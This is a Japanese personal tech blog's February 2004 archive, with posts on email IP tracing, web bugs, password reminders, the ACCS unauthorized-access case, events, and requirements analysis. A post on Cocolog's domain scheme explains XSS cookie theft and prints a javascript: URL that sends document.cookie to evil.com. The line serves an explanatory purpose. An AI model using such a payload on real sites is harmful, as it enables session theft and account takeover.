it: 2004年2月アーカイブ

今回も長くなったことと、新たな視点だと思ったので書き起こします。
技術系サラリーマンの交差点: メールからIPアドレスがわかることも多いらしい

元記事で、POP と言われているのは SMTP のことですね。
メイル送信時の IP アドレスですが、SMTP サーバというものが受信した時点で送信元のアドレスを Received として付与します。
このアドレスは基本的に詐称できません。

ブラウザから送信するタイプのメイラでも端末の IP アドレスは大抵(独自)メッセージヘッダに記載されます。Hotmail も Yahoo も送信元 IP はわかります。

過去はダイヤルアップ接続がメインであり、接続のたびに IP アドレスが変化していたため、せいぜいプロバイダと地域までしか解りませんでしたが、現在の ADSL などの固定IPアドレスの世の中になると IPアドレスと個人の結びつきが強くなる、という件は実際に危惧されてもいます。
IPv6 に関しても真っ先にこの点が議論されていますし。

でも、ダイヤルアップであってもプロバイダが調査すれば送信*者*の特定は可能です。そうでなければ犯罪天国になってしまいます。完全匿名を許したらインターネット社会が成り立たなくなります。2ch が後になってログを記録するように変えさせられた通り。

一般的には端末のIPアドレスが一定以下の間隔で変化すれば充分とされており、ADSL などは怪しいですが、逆に企業内からなどの場合は、並列化された中継(HTTP/SMTP)サーバが利用されたりするので、どの企業かは分かってもその中の誰かは外部からは突き止めるのが困難です。

メイルを送信した端末のIPと HTTP アクセス時の proxy サーバが付与する端末の IP を突き合わせれば、企業内からであってもメイル送信者と Web アクセス者が同一であるかを推定することができます。でも、企業の proxy サーバでは内部の端末のIPは送出しないことが多いと思いますが。
(追記)この段落、若干編集しています。

でもまぁ、これを気にする方は、もう Web で見つけた人とのやりとりはやめるしかないでしょうね。

ところで、Web バグ(参考１)というものが存在します。電子メイル送信相手に気付かれないようにWebにアクセスさせる事で、送信先メイルアドレスとIPアドレス、およびクライアントパソコンを識別するID(cookie による)を紐付けすることができます。HTML メイルから参照される画像が自動的に表示される環境では、プレビューするだけで実行されます。

Web バグでは、それが生きているメイルアドレスか？そこから辿って商品を購入したか？ある消費活動を行った人のメイルアドレスは？といった事が収集されます。

今回の話はマーケティングという側面ではなく、個人間のやりとりに関する話ですが、上記から言えることは、メイルアドレスを知っている人間の自サイトでの活動を追跡しようと思えば、その相手からのアクションを待たずとも可能である、ということです。しかも IP アドレスよりも確実な cookie に設置した ID によって。
cookie をオフにしていてもクライアント IP アドレスは採取されます。
さらにこれに「名寄せ」を加えれば、住所氏名などの個人情報まで結びつく可能性もあります。これは業者の協力が必要でしょうけれど。

こちらも回避しようと思うならば、そういう事をする可能性のある Web サイトを見てはいけません、ということになるでしょう。
HTML メイル、あるいはそこからリンクされる画像などを表示する設定をやめる事で、無意識のうちに追跡される可能性は減らすことができますが。

結局、好奇心とリスクのトレードオフで、各自が判断するしかないわけですが。
念のためですが、私は Web 閲覧行動に関してリスクはあまり感じていません^^;。
でも、人によっては(特に女性)リアルワールドにも影響を及ぼすようなリスクも考えられないわけではありません。
やはり、好奇心、というよりサイト管理者への信用でしょうかね。

参考１：はてなダイアリー - 高木浩光＠茨城県つくば市 の日記：Webバグについて復習する
参考２：EarlGrey Tearoom: HTMLメールは、IPアドレスを通知する

[はてなダイアリー - 高木浩光＠茨城県つくば市 の日記]

ユーザ登録について, 教育情報ナショナルセンター
パスワードを確認(かくにん)するための合言葉(あいことば)
どのように入力(にゅうりょく)すればいいの？
質問(しつもん)と答(こた)えはセットで考(かんが)えてね。
例(たと)えば、質問(しつもん)を「好(す)きな食(た)べ物(もの)は？」にしたとすると、答(こた)えは「カレーライス」のようにするとよいですよ。

わはは。
もぅね、毎回毎回デタラメにキーを叩くのもいいかげん馬鹿らしいのです。

[はてなダイアリー - 高木浩光＠茨城県つくば市 の日記]

11月23日の日記「警視庁は東京都にも要請したほうがよいのでは？」で書いたように、こうしたパスワードリマインダーは廃止するようにと、2002年2月に警視庁から事業者に要請がなされている。

HotMail あたりが「秘密の質問」なるものを要求して来た時点で、「なんでパスワードを守るためにまたパスワードを(サーバ側に)設定させるかなぁ。危険を一つ増やしているだけじゃないか。」と思っていて、いわゆるパスワードリマインダには常に50文字程度キーボードをデタラメに叩いて登録してきました。

警視庁が通達を出したのもだいぶ遅かったですが、それからさらに２年が経過してまだこんな状況とは-_-。
で、いつもいつも「秘密の質問と答え」の例が酷いんですよね…。
例をそのまま入力する人もいっぱいいるし。

ユーザの声として、パスワードリマインダ機能なんてやめてくれ、とサイトに報告しつづけなければならないのか。

[【043】電子自治体の本人確認 ]

ある市のWebサイトでは、「水道使用中止の届出」がオンラインで提出できるようになっています。
この電子申請システムを使うには、事前にユーザ登録をしてアカウントを取得し、与えられたユーザ名と自分で決めたパスワードでログインした上で、水道使用中止の届出に必要な項目を記載して送信ボタンを押すようになっています。

このとき、「ユーザ登録」は誰でもいつでもできます。ポータルサイトによくある無料メールなどと同じで、住所氏名電話番号等と記入すれば、即座にアカウントを取得できるようになっています。本人確認はありません。

ということは、「あいつの家の水道を止めてやろう」という嫌がらせを思いついた者は、その人の住所氏名を知っていれば、その人の住所氏名でアカウントを取得した上、そのアカウントでその人の住所氏名を記載して「水道使用中止の届出」を出すことができてしまいます（ただし、「お客様番号」の記入が必須になっている自治体もあるようです） 。
：
：
たしかに、他人の家の水道を止めるなどの嫌がらせ目的で、わざわざ市役所の窓口に出向いて顔を見せて偽の書類を提出する人はあまりいないでしょう。目的に対するリスクが大きすぎます。しかし、ネットではどうでしょうか。
何らかの方法で高い匿名性が確保されると、リスクよりも目的の達成価値の方が大きくなる場合があるかもしれません。

紙申請と電子申請ではなりすまし攻撃の現実性が異なるにもかかわらず、紙申請を想定して設計されてきた手続を、そのまま電子化してよいのでしょうか。各手続ごとに脅威レベルの再評価が必要ではないでしょうか。

まさしく。
完全な電子投票は不可能…当たり前だけど…
なんかもそうですね…。

上記を知るきっかけになったのは、
はてなダイアリー - 高木浩光＠茨城県つくば市 の日記
なんですが、日系デジタルコアでなされている議論はほんとに濃いですねぇ^^;。なんといっても参加者の質が高い。完全公開な ML などとはいろいろな意味で一線を画してます。

「生態認証は脅迫や傷害/殺人の可能性を増やす」といったくだりも興味深かったです。

私なんかは RFID 技術はまだ当分消費者の手元に渡ってはいけないなぁ、としか考えておらず、狭い範囲で狭い目的での運用をあと２～３年くらい行って検証する必要があるのではないか？と思ってるんですが、議論は一般消費者に渡った場合が前提になっています。
あらゆる懸念について事前に検証することの大変さよ…。影響範囲の大きい開発に必ず付きまとう問題。

だから、私は「大規模な企画」には手を出したくない。それじゃぁ大きな夢が見れないかもしれないけれど、リスクがねぇ～。こういうネタを本気で推進する方たちを尊敬します。やっている方の中には夢だけしか見えていない方もいらっしゃるようですが。

短期間で実験的な実施が出来、調整しつつ規模を拡大していければ、心労もだいぶ軽減されると思うんですけどね。そういう形態にできるなら私も大規模だからやだ、とはならないんですけど。

ところで、高木さんの今の活動主体はどのあたりなんだろうなぁなんて思っていましたが、この雰囲気ではいよいよ RF 関連の推進側に本格的に協力していく形になっていってるみたい^^;。これは(本当なら)すばらしぃことだと思います。

(追記)
そうそう。最近まであんまり意識してなかったけど、関連してこんな記述もあります。
Passion For The Future: デジタルID革命
より。
「消費者の視点でのトレース（遡及）と、生産者や流通の視点でのトラック（追跡）」という言葉に惹かれました。
トレースは過去の履歴の参照可能性。
トラックは今後あるいは今現在の状態の追跡可能性。

2/18 19:00 から Java 技術者の祭典、The Night for Java Technology に参加。

いやほんとは Java Technology Conference 2004 の中のイベントなんだけど、結局、JTC 自体に見たいセッションが無かったので JTC 参加申し込みはせず、応援団として呼んでいただけた JavaNight だけに混ぜていただきました。

中の雰囲気はこんな感じ？

応援した発表者、サングラスマンと duke (でゅーく)。

上記は自分の携帯(J-SH51)での写真。別途外注のカメラマンが撮った写真も載せさせていただきます。
外注だけど０円です。

かぶりもの duke と謎の食材で作られた duke XXX。(ケーキでもないし…なんなんだろ…)
ホテルニューオータニのシェフさんですね。なぜか Java のイベントでプレゼンしてたよ。

応援団。別名キ○○ト軍団とも呼ばれる。
おいらも写ってる…。小さくてよかった:p。

この写真で解るかどうか微妙ですが、どうやら今回の JavaNight は Iron Chef、即ち「Java の鉄人」のようです。

応援したのは知る人ぞ知る園田さんの silhouet (シルエット)。プレゼンテーションではネタ的な評価がされたかもしれませんが、中身は実は鋭いのです(今言っていいのかどうかわかんないので言うのやめ^^;)。

で、準備していたWeb クロールシューティングゲームはインパクトがあったと思うんですが、惜しくも披露する前に時間切れとなってしまいました…。これがかなり響き、佐藤類さんのガンダム(リンクしようと思ったら、更新されてないよ～^^;)との勝負に敗戦。プレゼンで見せられなかったシューティングゲームの写真をここに公開できるかなと思いましたが、確認したところ保留となりました_o_。

類さんはオラクル賞として電動自転車を貰って帰りました。そんないいもん貰えるんだったらもっと真剣にやったのにぃ、という声が所々から飛んだかどうかは定かではありません。

実はこの二つ、両方ともうちの若手プログラマが実装で関っていたので、「なんでガンダムの完成度あんなに上げたんだよ～」と当人が責められていたのは後日談:p。隠しコマンドでブルースクリーンにでもなるようにしとけば…それはそれでさらにネタ度が上がって不利か^^;。

とまぁ、自分はこの二組の対戦と関係があったのでいろいろ書きましたが、知人関係ではやはりプレゼン時間に泣いたこちらも応援していたのでした。(追記：URL変更＞Night for Java Technology 2004)
こちらは時間というよりトラブルに泣かされた感じで、デモの画面がなかなか表示されず、時間切れという悔しい結末。それでもここで紹介したお三方は、技術者にはなかなかいない、人前でしゃべる事に慣れている方達だとつくづく思ったのでした。
自分は発表するでもなく応援でしかないにもかかわらず、ステージに向かう時足ががくがくぶるぶるでしたからねぇ^^;;。あがり性をなんとかしないと-_-。

さて、レポートも書いたし、寝るかな…。

www.textfile.org より。

[ITmedia ライフスタイル：タカラ、IPv6対応“糸電話”を年内発売]

イーサネットポートが付いた受話器は、2つでワンセット。両方がIPv6ネットワークに繋がってさえいれば、受話器を上げるだけで相手につながる手軽さが特徴だ。「糸電話ですから」（タカラ）。

これはたしかに需要がありそうですねぇ。糸電話とはよく言ったもので^^;。
ナンパ師は受話器の片方が自宅に溢れそうだなぁ…。
絶対接続先切り替え機能が必要になるな:p。

双方が private 網内だとダメなんだろうなぁ。元々接続先を探す際はサーバを経由するらしいので、双方が private 網の場合は通信も仲介してくれたりするといいんだけど。
ってか、IPv6 網ってもう IPv4 tunnel しなくても通じるんだっけ…？

(追記)追加情報

スラッシュドット ジャパン | 新時代のホットラインは糸電話の如く

モバイルIPv6 というのがあって、m2m-x プロトコルというもので相手を特定するという技術があるそうな。
IPv6 関係は今だにほとんど勉強してないのです。ついでに SIP 等の IP 電話関係も。

で、これって IPv6 アドレスと言っているのは実は単なる固有ID でしかないのでは？
まぁ、ロケーションに応じたルーティング可能な IPv6 アドレスを、固定ID としての IPv6 アドレスから変換するのが m2m-x の役目なのかなと規格も見ずに想像してるけど。あ、プロトコル公開されてないのかな？

あと、上記を見てるとやっぱりまだ IPv6 非対応ルータがそこかしこにあるので、どこでも IPv6 で繋げるわけじゃ無いようですね。電話機自身が IPv4 tunnel 掘るのかも。

ぴっくあっぷ。さんから流れてゆく…。

半径５００ｍの日常: 役に立たないコメント

私もソースコード(プログラム)のコメント(注釈であり、プログラムの実行に影響を与えないメモ)には感想やら後の人に向けたメッセージをよく書きます。
後の人＝一ヶ月後の自分でもありますし。

/*
なんでこんなことやってるんだか。～～にすれば全然楽なのに-_-。
影響がないのは確認済。時間がないからやらないけどさぁ。
*/

なんて引き継いだソースに書き足すこともしょっちゅう。普通にソースコードを読んで「あれっ」と思うような所には、何らかの形で他人の監査が入った形跡が残っていると助かるものです。

役に立たないコメントの代表例と言えば、

int i; /* カウンタ１ */

とかですね～:p。
自明なことが書かれているのは「邪魔」なだけでなく、将来の変更のたびにコメントも直す羽目になったりするので「害」です。
ほんとは関数(メソッド)のインターフェイス仕様をコメントとして記述する際も、中で行われる手順やパラメタの名前なんかは重要じゃなくて、「注意すべき点」が書かれていないといけないんですが、最近のコメントの書き方の定式化により、そのことが教えられないということが増えていそう(いや、以前からだけど)という気もします。

ところで、上記の「役に立たないコメント」というタイトルに釣られてしまった方の大半はメタブログな資質があります:p。あ、私ですか？メタブログは大好きですよ。：）

書いてたネタと被るのがココログスタッフルームに…。

私はソフトウェア開発なんぞをやっていたりしますが、ソフトウェア開発においては、お客さんの要求(お客さんがコンシューマであれば「需要」となりますが、ここでは企業を例として)を分析する作業が必須です。ろくに分析を行わずにお客さんに言われるがままに機能や内部処理を決定していくと、必ず不整合が発生し、それを取り繕う作業に開発期間の半分以上を費やされることになります。

お客さんが望んでいるものを正確に把握しなければまともな設計は出来ません。把握し、整理する作業を要求分析と呼びます。

まず、お客さんの要求をひたすら聞き取るという作業が行われます。ヒアリングです。
それを箇条書きにする所までは誰でも出来ます。が、この段階でも、「何を聞くべきか？」を判断するには経験に基づくセンスが必要なのですが。

とりあえず要求の一覧ができたとしましょう。でも、ここからが出来る人間が少ない。

聞き出した、或いは見つけ出した要求はまずその出所となる目的を明確にしなければなりません。
お客さんが目的を明確にできるケースは少ないです。
お客さんは通常、今までやって来たことができることと、こんなことができたらいいなぁという思いつきで要求を出します。
なぜその機能が欲しいと思ったのかを見いださないと、必ずといってよいほど後で気が変わってしまいます。

なので、まずやるべきは要求のリストを目的のリストに変換することだと思います。
そうすると、目的を実現するよりスマートな方法が大抵はでてきます。
こちらがお客さんの目的を把握した上であれば、こちらからの提案も受け入れてもらい易くなります。

目的の見極めが正しければ、余計な開発をせずに済み、且つ、のちの仕様変更の可能性を減らし、且つ、仕様変更があっても対応し易い設計を行い易くなります。

この「整理」作業なしで「分析」フェーズを終らせてしまっているケースが多いなぁ、というのが感想なわけです。

んで、ソフトウェア開発に限らず、何か他人の期待するものを産みだそうとする時全般に通用する考え方だと思うので、この能力を鍛える努力をしましょう。という所で今回は終りにしておきます^^;;。
実はあんまり勉強してない自己流なので、あんまり突っ込んだ話すると用語やらが怪しい可能性が^^;。でもさぁ、これほんと出来ない人多いのよ…。

2/18, 19 のJava Technology Conference 2004に行くんですが、今日がセッション受講申し込みの締め切りだというのに見たいものがないという…。

結局行くのは18日夜の Night for Java Technology だけだったりして^^;。19日は BoF など興味のあるものもあったんですが、二日も行けません-_-。なんかお金無駄にしたかも…。

まぁ人に会いに行くのが主目的だったりするので別にいいんですけど。
ってなわけで、行く人いたらご連絡ください～^^;。

あぁ…放置したい…でも書いてしまう-_-(それはやはり blog だからか…)。もう元記事を refer する必要もないだろうから、ソースとしてはこことここをリンク。

「不正アクセス禁止法の疑い」
「業務威圧妨害の疑い」

「不正アクセスには当たらない」とか、「んじゃ自分の利用サイトの欠陥のテストしちゃダメなのね」といった論調が多いですが、これが他の勝手監査にどう影響するかといえば、よい方向に影響するのではないかと思うのです。

それが不正アクセスか？については互いの意図が重んじられるように思います。もちろん条文からすると「アクセス制御」が必須であり、今回の件は(認証による)アクセス制御をすり抜けたわけではないようにも思えますが、DocumentRoot 配下に該当ファイルを置いていたわけでもなく、そのファイルへのアクセスは本来シェルログインなどの「認証」を経ないと取得できないものだったんですよね？個人情報が隠さなくてよい情報と相手が考えるはずもなく、CGI に対する監査が甘かったとはいえ、隠そうという意図は当然あった、と。DocumentRoot 配下に置いたのではアクセス制御の意図すらないのでアクセスしても法律上は問題無いですが。

つまり、ACCS 側の「隠そうとしていた」「アクセスできないようにしようとしていた」という意図は明白。
そして、office さんの「隠されているものを盗もうとした」意図も明白。
その目的が指摘/啓蒙であると建前言ってみても、なぜそのファイルを選んだのか？を考えれば言い訳できないでしょう。
office さん自身がそのファイルに興味があったわけではないでしょうけれど。ここまで言えば目的は明らかだけど、書かない:p。

このケースであれば不正アクセス禁止法の適用もあり得ると思います。
逆に、明らかに自身のみを守る目的、というのは行動で現せるとも思うので、「欠陥のテストができない」ということにはならないと思います。出来なくなるのは「インパクトのある行動」なだけで。
そういう意味で、「勝手監査」に対するよい警鐘ではないでしょうか。

「業務威圧妨害の疑い」は、ACCS 側に猶予を与えていれば、停止を回避してもっとうまく対策できた可能性がある、という意味で、適用し得ますね。これも「勝手監査」へのよい警鐘になると思います。

つまり、いずれも全くの見当違いではない、と。

まぁ、私自身は「自身が個人情報を配布してしまった」ことがもっとも直接的で確実な罪状になるんじゃないかと思ってはいましたけどねぇ。

あと、そもそも ACCS は個人情報保護が出来るだけの体制にない欠陥を保有していたわけで、中には「そちらこそ罰するべき」という意見もありますが、「そちらも罰するべき」ではありますが、別問題です。ユーザが集団訴訟を起こせば罰することができるんじゃないでしょうか。もちろん個人的には罰されてほしいですが、関連づけて「こっちが」と言う人が多いのは気になる。
ここにも書きましたが、これはこれとして大きく報道啓蒙されてほしいですね～。今回の問題が騒がれるほどに、こちらの問題が矮小化される懸念は解りますから、関連づけて騒ぐんじゃなくて、独立に欠陥サイトの問題について騒ぎましょうよ^^;。

(追記)
こないだ朝日新聞を止めたので:p、メディアの情報に一層疎いんですが--;、この話題、思っていた以上に大きく報道されているようですね。テレビのニュースでも何度も取り上げているそうで。
これは最悪。やっぱマスメディアってダメだわ-_-。
欠陥サイトについてもそれくらい騒いでみて欲しいものです。
個人は叩けてもでかい組織は叩けませんかねぇ？

(追記:2004/02/09)
[鯛、靴、箸: 次世代ジャーナリズム]

マスメディアの使命とは、正しい情報を正しく伝えることではないでしょうか？そのためには、高い取材能力と高い知性が不可欠です。よく言われることですが、「伝えないこと」もしばしば嘘になります。例えばパレスチナ問題では、イスラエルがパレスチナの市民を殺害したことはあまりニュースにならないのに、エルサレムでの爆弾テロはニュースになります（その結果、平和なのに突然パレスチナ人が爆弾テロを始めた、というような印象を読者に与えます）。情報収集能力が足りなくても、偏った情報しか集められないために、同じような結果になります。知性がなかったり中立でないマスメディアは危険です。

すばらすぃ。
今危険でないマスメディアってなぃ…-_-。
今回のネタにしても適切に事実を報じたメディアもあるようですが、そこが常に信頼できるかというと怪しいものですからねぇ。
適切に批判(というより事実)がメディア読者に伝わる仕組みが求められるような気がしますね。
Web のおかげでそこはずいぶん改善されたけれど。

古い記事にトラックバック:p。
元祖しゃちょう日記 : niftyのココログの不思議なドメイン。

なんで、ドメインをいちいち変えてるんでしょう？
パッと見た限りで、こんなドメインがありました。

http://trott.cocolog-nifty.com/
http://hugo-sb.way-nifty.com/hugo_sb/
http://okinawa-sanpin.tea-nifty.com/cfs/
http://os2.air-nifty.com/ecs/
http://kumaneko.moe-nifty.com/blog/
http://kugikemi.txt-nifty.com/tsugimoto/

cocolog-nifty.comはまぁしょうがないと思うのですが、
後のドメインはいったい、、、

ネタにマジレス…ってかネタじゃなくてほんとに不思議みたいなので思っていたことを書いてみます。
ドメインが複数個あるのは単にユーザ数が増えたときの名前の衝突を避ける為でしょうね。
また、上記のようにホスト名レベルでユーザが区別されていると、cookie の有効範囲をドメイン制約のみで安全に隔離できるという利点があります。
cookie の有効範囲指定としては PATH　による指定も可能ですが、実は PATH　による cookie 有効範囲指定はそのドメイン上で多岐のサービスを提供している場合は非常に脆弱です。

参考：クロスサイトスクリプティングとcookieの有効path

同一ドメイン上の他のサービスにクロスサイトスクリプティングと呼ばれる脆弱性があった場合、そのドメイン上の任意の cookie が盗まれ得ます。
ひろゆきさんが利用されている livedoor blog は、
http://blog.livedoor.jp/hirox1492/
のような URL　になっています。
livedoor blog の編集画面の仕様は知らないのですが、もしこのドメイン上で cookie を発行することで認証状態を記憶できるようになっているとしたら、blog.livedoor.jp 上のどこかのページにクロスサイトスクリプティング脆弱性があった場合、アカウント乗っ取りが可能になります。

他にも理由はあるかもしれませんが、私が直感的に思った範囲では、そんな点からしてもユーザ空間をドメイン(ホスト)のレイヤで分けるのは安全性の高い方式である、と思います。

とはいえ、nifty の他のサービスはユーザ空間をドメイン名レイヤで分けているわけでもないので、nifty がこういう脅威に備えてそうしたかは怪しいですが^^;。

そうそう、参考繋がり^^;で、高木さんの日記が久々に更新されてましたのでご紹介～。
きっとこのページがリンク元になるのも意義があるはず:p。

(追記)
はっっ！！よくよく考えたらココログの場合、cookie を利用する編集画面は https://app.cocolog-nifty.com/ ではないか…。ってことは上記とは無関係に他人のアカウント乗っ取りの可能性はあるってわけだ-_-。
まぁもともとは PATH 単位でサーバを切り分けるのが面倒とかの理由でホストで分けたんだろうとは思ってたけど…。せっかくいい手段だと思ったのにねぇ-_-。

あ、念のため、https://app.cocolog-nifty.com/ のどこかに第三者から script を送り込めるような脆弱性がない限り、cookie は盗まれないです。が、もし以下のような URL を編集ページ上から叩かれるような手段が存在したら、認証済み状態が盗まれます。
javascript:document.location="http://evil.com/"+document.cookie

(追記:2004/02/09)
ネタもとを失念してしまいましたが_o_、複数ドメインに分けていることで、ココログ同士のリンクが異なるドメインにまたがることになり、それは SEO 効果がある、という話がありました。
www.nifty.com のようなランクの高いページからリンクされていること以上に有望な説ですね。
だからといって、nifty がその効果を考えてドメインを分けたとは思えませんけどね^^;。